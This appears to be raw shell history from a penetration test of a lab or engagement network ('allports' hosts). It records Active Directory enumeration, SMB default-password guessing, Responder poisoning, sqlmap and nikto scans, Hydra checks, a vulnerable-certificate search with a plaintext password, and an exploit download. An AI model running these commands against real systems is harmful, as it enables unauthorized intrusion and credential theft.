./ldapnomnom-linux-x64 --input usernames.txt --output results.txt --server 10.0.1.6 --parallel 4
ls
strings results.txt
nano usernames.txt
./ldapnomnom-linux-x64 --input usernames.txt --output results.txt --server 10.0.1.6 --parallel 4
strings results.txt
ldapsearch -x -h 10.0.1.6  -D "cn=admin,cn=users,dc=example,dc=com" -w admin -b "dc=example,dc=com" "(objectClass=person)"\
smbmap
smbmap -u admin -p admin -H 10.0.1.6
smbmap -u administrator -p administrator -H 10.0.1.6
smbmap -u administrator -H 10.0.1.6
smbmap -u admin -H 10.0.1.6
smbmap -u guest -H 10.0.1.6
smbmap -u guest -p guest -H 10.0.1.6
smbmap -u guest -p Guest -H 10.0.1.6
smbmap -u Admin -p Admin -H 10.0.1.6
nano names.txt
./ldapnomnom-linux-x64 --input names.txt --output results.txt --server 10.0.1.6 --parallel 4
strings results.txt
smbmap -u callen -p Admin -H 10.0.1.6
smbmap -u callen -p callen -H 10.0.1.6
smbmap -u callen  -H 10.0.1.6
smbmap -u callen -p password -H 10.0.1.6
smbmap -u admin -p password -H 10.0.1.6
smbmap -u administrator -p password -H 10.0.1.6
strings results.txt
enum4linux 10.0.1.6
nsmns
iup addr
ip addr
ping
gunzip /usr/share/wordlists/rockyou.txt.gz
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
nano names.txt
nano results.txt
oops


_raw: : 1762636149:0;mv nmap_more.txt /home/pentester


_raw: : 1762636130:0;sed -i 's/\r$//' validate_hydra_fixed.sh


_raw: : 1762636122:0;echo ""> verifyhydra;nano verifyhydra


_raw:
armitage
apt remove armitage -y
sudo apt remove armitage -y
apt install armitage
sudo apt install armitage -y
armitage
sudo su
apt install gvm
armitage
systemctl start postgresql
sudo su


_raw:
cd /var/lib/gvm/data-objects/gvmd
ls
cd scan-configs
ls
service postgressql start
service postgresql start
armitage
msfdb init
sudo su


_raw: : 1762635958:0;echo '0123456789ABCDEF' > charset/DES_full.charset


_raw: : 1762635901:0;feroxbuster -u http://admin.rooms.allports.tours/api/admin/ --dont-scan http://admin.rooms.allports.tours/api/emergency,http://admin.rooms/allports.tours/api/emergencies -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 3


_raw: : 1762635878:0;mv /home/pentester/Downloads/file.zip .


_raw: : 1762635859:0;nikto -h chat.allports.tours -ssl


_raw:
sudo responder -I tun0 -wd
cat pas
cd ..
cat password.txt
sudo responder -I tun0 -wd
sudo responder -I eth0 -wd
cd Downloads
ls
cd ..
ls
cd Downloads
ls
python3 -m http.server 80


_raw: : 1762635834:0;sudo apt install mysql-client


_raw: : 1762635803:0;nikto -h https://chat.allports.tours/ -ssl


_raw: : 1762635798:0;nikto -h https://chat.allports.tours/ -p 443 -ssl


_raw: : 1762635769:0;smbclient.py -k -no-pass deckhand-02.allports.local


_raw: : 1762635760:0;sqlmap -u "http://10.0.1.15:8080/api/navigation.php?action=status" --random-agent


_raw: : 1762635750:0;sqlmap -u "http://10.0.1.15:8080/api/navigation.php?action=status"


_raw: : 1762635719:0;nikto -h https://chat.allports.tours/ -ssl -o chatNikto.html


_raw: : 1762635698:0;sudo ./verifyhydra hydraoutput.txt http://10.0.1.11 /admin


_raw: : 1762635675:0;nikto -h "https://chat.allports.tours/" -ssl -o chatNikto.html


_raw: : 1762635667:0;nikto -h "https://chat.allports.tours/" -ssl -o chatNikto.hmtl


_raw: : 1762635654:0;nikto -h "https://chat.allports.tours/" -o chatNikto.hmtl -ssl


_raw: : 1762635651:0;systemctl postgresql status


_raw: : 1762635615:0;./verifyhydra hydraoutput.txt http://10.0.1.11 /admin


_raw: : 1762635544:0;nikto -h "https://chat.allports.tours/" -o chatNikto.html


_raw: : 1762635543:0;git clone https://github.com/decoder-it/printerbugnew.git


_raw: : 1762635537:0;cp ~/Downloads/booking/booking.exe .


_raw: : 1762635503:0;./verifycurlexists && ./verifyhydra hydraoutput.txt http://10.0.1.11 /admin


_raw: : 1762635497:0;certipy-ad -debug find -u 'REDACTED_EMAIL' -p 'Sails@way!' -dc-ip '10.0.1.6' -enabled -vulnerable